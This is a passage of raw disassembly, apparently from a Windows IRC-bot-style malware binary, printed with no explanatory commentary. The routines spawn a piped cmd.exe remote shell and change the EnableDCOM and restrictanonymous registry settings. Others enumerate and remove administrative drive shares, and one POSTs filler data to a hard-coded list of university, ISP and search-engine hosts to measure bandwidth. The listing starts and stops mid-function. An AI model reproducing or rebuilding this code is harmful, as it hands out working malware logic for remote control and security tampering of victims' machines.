push [ebp+arg_0]
call sub_40B9A7
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
loc_41A8CA: ; CODE XREF: sub_41A798+C3j
push offset unk_450D68
push ebx
push ds:dword_4F32A4
call sub_41A711
push [ebp+arg_0]
call sub_40B9A7
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
sub_41A798 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8ED proc near ; CODE XREF: sub_401C87+24C1p
; sub_4165C7+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_41A6A9
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe_0 ; "cmd.exe"
push esi
call ds:off_4E3080
test eax, eax
jz loc_41A9E7
lea eax, [ebp+var_1C]
mov edi, ds:dword_4F53D0
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A9E7
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A9E7
mov edi, ds:dword_4F53CC
push 3
push esi
push esi
push offset dword_4F3268
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
test eax, eax
jz short loc_41A9E7
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41E4B0
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41E4B0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset byte_4F32A9
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jnz short loc_41A9EF
loc_41A9E7: ; CODE XREF: sub_41A8ED+2Ej
; sub_41A8ED+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41AAA1
; ---------------------------------------------------------------------------
loc_41A9EF: ; CODE XREF: sub_41A8ED+F8j
push [ebp+var_4]
mov edi, ds:off_4F533C
call edi ; sub_50B3D5
mov eax, [ebp+var_10]
push [ebp+var_28]
mov ds:dword_4F3264, eax
mov eax, [ebp+var_8]
mov ds:dword_4F326C, eax
mov eax, [ebp+var_2C]
mov ds:dword_4F3260, eax
call edi ; sub_50B3D5
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov ds:dword_4F32A4, eax
jz short loc_41AA29
push [ebp+arg_4]
jmp short loc_41AA2E
; ---------------------------------------------------------------------------
loc_41AA29: ; CODE XREF: sub_41A8ED+135j
push offset word_4F32AA
loc_41AA2E: ; CODE XREF: sub_41A8ED+13Aj
push offset dword_4F3270
call sub_41EA60
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_450DA0
call sub_40B691
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov ds:dword_455F08[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A798
push esi
push esi
call ds:dword_4F5350 ; CreateThread
cmp eax, esi
mov ds:dword_455F14[edi], eax
jnz short loc_41AA9F
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_450DC4
push eax
call sub_41EA60
lea eax, [ebp+var_378]
push eax
call sub_415A3C
add esp, 10h
loc_41AA9F: ; CODE XREF: sub_41A8ED+189j
xor eax, eax
loc_41AAA1: ; CODE XREF: sub_41A8ED+FDj
pop edi
pop esi
leave
retn
sub_41A8ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AAA5 proc near ; DATA XREF: sub_401C87+2E02o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41AAEC
call sub_41AB05
jmp short loc_41AAF1
; ---------------------------------------------------------------------------
loc_41AAEC: ; CODE XREF: sub_41AAA5+3Ej
call sub_41AE2B
loc_41AAF1: ; CODE XREF: sub_41AAA5+45j
add esp, 10h
push [ebp+var_14]
call sub_40B9A7
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_41AAA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB05 proc near ; CODE XREF: sub_41AAA5+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_4E3094, edi
jnz loc_41AC37
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_4E3038 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AB90
mov ax, ds:word_450E38
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_4E2FEC ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41AB78
push offset dword_450E48
jmp short loc_41AB7D
; ---------------------------------------------------------------------------
loc_41AB78: ; CODE XREF: sub_41AB05+6Aj
push offset dword_450E6C
loc_41AB7D: ; CODE XREF: sub_41AB05+71j
push eax
call sub_41EA60
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
jmp short loc_41ABA3
; ---------------------------------------------------------------------------
loc_41AB90: ; CODE XREF: sub_41AB05+36j
lea eax, [ebp+var_214]
push offset dword_450E8C
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41ABA3: ; CODE XREF: sub_41AB05+89j
cmp [ebp+arg_C], edi
jnz short loc_41ABC2
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41ABC2: ; CODE XREF: sub_41AB05+A1j
lea eax, [ebp+var_214]
push eax
call sub_415A3C
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_4E3038 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AC30
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call ds:dword_4E2FEC ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41AC18
push offset dword_450ED0
jmp short loc_41AC1D
; ---------------------------------------------------------------------------
loc_41AC18: ; CODE XREF: sub_41AB05+10Aj
push offset dword_450F0C
loc_41AC1D: ; CODE XREF: sub_41AB05+111j
push eax
call sub_41EA60
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
jmp short loc_41AC4A
; ---------------------------------------------------------------------------
loc_41AC30: ; CODE XREF: sub_41AB05+E2j
push offset dword_450F40
jmp short loc_41AC3C
; ---------------------------------------------------------------------------
loc_41AC37: ; CODE XREF: sub_41AB05+13j
push offset dword_450F7C
loc_41AC3C: ; CODE XREF: sub_41AB05+130j
lea eax, [ebp+var_214]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41AC4A: ; CODE XREF: sub_41AB05+129j
cmp [ebp+arg_C], edi
jnz short loc_41AC69
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41AC69: ; CODE XREF: sub_41AB05+148j
lea eax, [ebp+var_214]
push eax
call sub_415A3C
cmp ds:dword_4E30BC, edi
pop ecx
jnz loc_41ADE6
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41AC8C: ; CODE XREF: sub_41AB05+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_4E2F0C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41AD2B
cmp eax, 0EAh
jz short loc_41AD2B
xor esi, esi
loc_41ACBA: ; CODE XREF: sub_41AB05+21Fj
push ds:off_450E18[esi]
push edi
call sub_419909
pop ecx
pop ecx
push ds:off_450E18[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41ACDF
push offset dword_450FAC
jmp short loc_41ACE4
; ---------------------------------------------------------------------------
loc_41ACDF: ; CODE XREF: sub_41AB05+1D1j
push offset dword_450FD0
loc_41ACE4: ; CODE XREF: sub_41AB05+1D8j
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41AD11
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41AD11: ; CODE XREF: sub_41AB05+1F0j
lea eax, [ebp+var_214]
push eax
call sub_415A3C
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_41ACBA
jmp loc_41ADC3
; ---------------------------------------------------------------------------
loc_41AD2B: ; CODE XREF: sub_41AB05+1AAj
; sub_41AB05+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_41ADBA
loc_41AD3A: ; CODE XREF: sub_41AB05+2B1j
mov edi, [esi]
push edi
call sub_421E60
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41ADAF
push edi
call sub_4197F6
push eax
push 0
call sub_419909
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41AD6F
push offset dword_450FFC
jmp short loc_41AD74
; ---------------------------------------------------------------------------
loc_41AD6F: ; CODE XREF: sub_41AB05+261j
push offset dword_451020
loc_41AD74: ; CODE XREF: sub_41AB05+268j
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41ADA2
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41ADA2: ; CODE XREF: sub_41AB05+281j
lea eax, [ebp+var_214]
push eax
call sub_415A3C
pop ecx
loc_41ADAF: ; CODE XREF: sub_41AB05+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41AD3A
xor edi, edi
loc_41ADBA: ; CODE XREF: sub_41AB05+22Fj
push [ebp+var_8]
call ds:dword_4E3058
loc_41ADC3: ; CODE XREF: sub_41AB05+221j
cmp [ebp+var_10], 0EAh
jz loc_41AC8C
lea eax, [ebp+var_214]
push offset dword_45104C
push eax
call sub_41EA60
pop ecx
pop ecx
pop ebx
jmp short loc_41ADF9
; ---------------------------------------------------------------------------
loc_41ADE6: ; CODE XREF: sub_41AB05+177j
lea eax, [ebp+var_214]
push offset dword_451074
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41ADF9: ; CODE XREF: sub_41AB05+2DFj
cmp [ebp+arg_C], edi
jnz short loc_41AE17
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41AE17: ; CODE XREF: sub_41AB05+2F7j
lea eax, [ebp+var_214]
push eax
call sub_415A3C
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41AB05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE2B proc near ; CODE XREF: sub_41AAA5:loc_41AAECp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp ds:dword_4E3094, edi
jnz loc_41AF59
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_4E3038 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AEB6
mov ax, ds:word_4510A4
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_4E2FEC ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41AE9E
push offset dword_4510B4
jmp short loc_41AEA3
; ---------------------------------------------------------------------------
loc_41AE9E: ; CODE XREF: sub_41AE2B+6Aj
push offset dword_4510D8
loc_41AEA3: ; CODE XREF: sub_41AE2B+71j
push eax
call sub_41EA60
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
jmp short loc_41AEC9
; ---------------------------------------------------------------------------
loc_41AEB6: ; CODE XREF: sub_41AE2B+36j
lea eax, [ebp+var_220]
push offset dword_4510F4
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41AEC9: ; CODE XREF: sub_41AE2B+89j
cmp [ebp+arg_C], edi
jnz short loc_41AEE8
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41AEE8: ; CODE XREF: sub_41AE2B+A1j
lea eax, [ebp+var_220]
push eax
call sub_415A3C
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_4E3038 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AF52
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], edi
call ds:dword_4E2FEC ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41AF3A
push offset dword_451138
jmp short loc_41AF3F
; ---------------------------------------------------------------------------
loc_41AF3A: ; CODE XREF: sub_41AE2B+106j
push offset dword_451178
loc_41AF3F: ; CODE XREF: sub_41AE2B+10Dj
push eax
call sub_41EA60
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
jmp short loc_41AF6C
; ---------------------------------------------------------------------------
loc_41AF52: ; CODE XREF: sub_41AE2B+E2j
push offset dword_4511B0
jmp short loc_41AF5E
; ---------------------------------------------------------------------------
loc_41AF59: ; CODE XREF: sub_41AE2B+13j
push offset dword_4511EC
loc_41AF5E: ; CODE XREF: sub_41AE2B+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41AF6C: ; CODE XREF: sub_41AE2B+125j
cmp [ebp+arg_C], edi
jnz short loc_41AF8B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41AF8B: ; CODE XREF: sub_41AE2B+144j
lea eax, [ebp+var_220]
push eax
call sub_415A3C
cmp ds:dword_4E30BC, edi
pop ecx
jnz loc_41B102
xor esi, esi
loc_41AFA6: ; CODE XREF: sub_41AE2B+1ECj
push ds:dword_450E1C[esi]
push ds:off_450E18[esi]
push edi
call sub_41985D
add esp, 0Ch
push ds:off_450E18[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_41AFD2
push offset dword_45121C
jmp short loc_41AFD7
; ---------------------------------------------------------------------------
loc_41AFD2: ; CODE XREF: sub_41AE2B+19Ej
push offset dword_45123C
loc_41AFD7: ; CODE XREF: sub_41AE2B+1A5j
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41B004
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41B004: ; CODE XREF: sub_41AE2B+1BDj
lea eax, [ebp+var_220]
push eax
call sub_415A3C
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_41AFA6
push ebx
call ds:dword_4F5464 ; GetLogicalDrives
mov edi, eax
mov bl, 41h
test edi, edi
jz loc_41B0EA
loc_41B02C: ; CODE XREF: sub_41AE2B+2B9j
mov eax, edi
and eax, 1
cmp al, 1
jnz loc_41B0E0
cmp bl, 41h
jz loc_41B0E0
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41EC30
push esi
push offset aC_3 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41EC30
add esp, 20h
lea eax, [ebp+var_20]
push eax
call ds:dword_4E3028 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41B0E0
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41985D
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_41B0A0
push offset dword_451270
jmp short loc_41B0A5
; ---------------------------------------------------------------------------
loc_41B0A0: ; CODE XREF: sub_41AE2B+26Cj
push offset dword_451290
loc_41B0A5: ; CODE XREF: sub_41AE2B+273j
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41B0D3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41B0D3: ; CODE XREF: sub_41AE2B+28Cj
lea eax, [ebp+var_220]
push eax
call sub_415A3C
pop ecx
loc_41B0E0: ; CODE XREF: sub_41AE2B+208j
; sub_41AE2B+211j ...
inc bl
shr edi, 1
jnz loc_41B02C
loc_41B0EA: ; CODE XREF: sub_41AE2B+1FBj
lea eax, [ebp+var_220]
push offset dword_4512B8
push eax
call sub_41EA60
pop ecx
xor edi, edi
pop ecx
pop ebx
jmp short loc_41B115
; ---------------------------------------------------------------------------
loc_41B102: ; CODE XREF: sub_41AE2B+173j
lea eax, [ebp+var_220]
push offset dword_4512DC
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41B115: ; CODE XREF: sub_41AE2B+2D5j
cmp [ebp+arg_C], edi
jnz short loc_41B133
push edi
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_41B133: ; CODE XREF: sub_41AE2B+2EDj
lea eax, [ebp+var_220]
push eax
call sub_415A3C
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41AE2B endp
; =============== S U B R O U T I N E =======================================
sub_41B147 proc near ; CODE XREF: sub_41B33E+CBp
; sub_41B33E+DDp ...
arg_0 = dword ptr 4
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_41EB70
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41B147 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B161 proc near ; CODE XREF: sub_41B33E+D4p
; sub_41B33E+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41BC70
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41B33A
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41E4B0
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AD91
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41B33A
push 50h
call ds:dword_4E2FC8 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call ds:dword_4E3048 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41B33A
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41B33A
push 32003h
call sub_420C30
mov edi, ds:dword_4F537C
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41EB60
call sub_41EB70
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41E4B0
push 32000h
push esi
push ebx
call sub_41E4B0
push ebx
call sub_41BC70
push 323EAh
mov ebx, eax
call sub_420C30
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41EA60
push [ebp+var_8]
push esi
call sub_41F630
push offset asc_451344 ; "\r\n"
push esi
call sub_41F630
add esp, 40h
push esi
call sub_41BC70
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41B2B8
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41B288
; ---------------------------------------------------------------------------
loc_41B285: ; CODE XREF: sub_41B161+155j
mov eax, [ebp+arg_0]
loc_41B288: ; CODE XREF: sub_41B161+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
add eax, esi
cmp ecx, ebx
jnb short loc_41B29A
push [ebp+var_C]
jmp short loc_41B29B
; ---------------------------------------------------------------------------
loc_41B29A: ; CODE XREF: sub_41B161+132j
push ebx
loc_41B29B: ; CODE XREF: sub_41B161+137j
push eax
push [ebp+var_4]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41B321
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41B285
loc_41B2B8: ; CODE XREF: sub_41B161+118j
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_43C4F4
fst [ebp+arg_0]
fcomp ds:flt_43C4F0
fnstsw ax
test ah, 44h
jp short loc_41B2E2
fld1
fstp [ebp+arg_0]
loc_41B2E2: ; CODE XREF: sub_41B161+17Aj
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
push [ebp+var_8]
call sub_41C9D0
push esi
call sub_41C9D0
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul ds:flt_43C4EC
fmul ds:flt_43C4E8
call sub_4201DC
loc_41B31C: ; CODE XREF: sub_41B161+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B321: ; CODE XREF: sub_41B161+147j
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
push [ebp+var_8]
call sub_41C9D0
push esi
call sub_41C9D0
pop ecx
pop ecx
loc_41B33A: ; CODE XREF: sub_41B161+19j
; sub_41B161+42j ...
xor eax, eax
jmp short loc_41B31C
sub_41B161 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B33E proc near ; CODE XREF: sub_401C87+2E57p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41B147
push [ebp+eax*4+var_3C]
call sub_41B161
push 8
mov esi, eax
call sub_41B147
push [ebp+eax*4+var_3C]
call sub_41B161
add esp, 10h
test esi, esi
jz short loc_41B43F
test eax, eax
jz short loc_41B43B
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41B441
; ---------------------------------------------------------------------------
loc_41B43B: ; CODE XREF: sub_41B33E+F4j
mov ebx, esi
jmp short loc_41B441
; ---------------------------------------------------------------------------
loc_41B43F: ; CODE XREF: sub_41B33E+F0j
mov ebx, eax
loc_41B441: ; CODE XREF: sub_41B33E+FBj
; sub_41B33E+FFj
push 0Ch
call sub_41B147
push [ebp+eax*4+var_6C]
call sub_41B161
push 0Ch
mov edi, eax
call sub_41B147
push [ebp+eax*4+var_6C]
call sub_41B161
add esp, 10h
test edi, edi
jz short loc_41B479
test eax, eax
jz short loc_41B475
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41B47B
; ---------------------------------------------------------------------------
loc_41B475: ; CODE XREF: sub_41B33E+12Ej
mov esi, edi
jmp short loc_41B47B
; ---------------------------------------------------------------------------
loc_41B479: ; CODE XREF: sub_41B33E+12Aj
mov esi, eax
loc_41B47B: ; CODE XREF: sub_41B33E+135j
; sub_41B33E+139j
push 6
call sub_41B147
push [ebp+eax*4+var_1C]
call sub_41B161
push 6
mov edi, eax
call sub_41B147
push [ebp+eax*4+var_1C]
call sub_41B161
add esp, 10h
test edi, edi
jz short loc_41B4B3
test eax, eax
jz short loc_41B4AF
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41B4B5
